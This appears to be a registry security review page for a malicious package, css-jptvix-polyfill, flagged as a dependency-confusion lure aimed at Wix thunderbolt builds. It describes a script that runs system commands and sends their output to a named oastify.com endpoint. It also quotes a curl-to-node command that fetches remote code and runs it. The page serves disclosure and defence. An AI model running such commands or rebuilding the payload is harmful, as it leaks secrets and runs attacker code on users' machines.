registry / css-jptvix-polyfill / 1.0.0

css-jptvix-polyfill@1.0.0

CSS polyfill utility

AI Security Review

scanned 2d ago · by lpm-firewall-ai

The bundled registry script contains active data exfiltration and remote code execution. Its manifest exposes that script to registry consumers.

Static reason

One or more suspicious static signals were detected.

Trigger

Loading thunderboltRegistry.js in a Node-capable environment.

Impact

Environment variables and system information can leave the host, and remote code can execute with the consumer process's permissions.

Mechanism

An immediately invoked function runs shell commands, sends their output through fetch, and downloads remote JavaScript for execution through Node.

Attack narrative

A consumer loading the registry script activates its immediate function. Where child_process is available, it gathers identity, environment and network information and attempts to transmit the results to an external endpoint. It also attempts to download and execute remote JavaScript. The empty default entrypoint limits activation but does not neutralize the executable registry payload.

AI rationale

Inspected source contains concrete exfiltration and remote code execution unrelated to CSS polyfill functionality. The registry manifest provides a loading path to this active payload.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json

Network endpoints3

orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com/appsecc.com/jsstatic.parastorage.com/unpkg/css-jptvix-polyfill@1.0.0/thunderboltRegistry.js

The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

css-jptvix-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code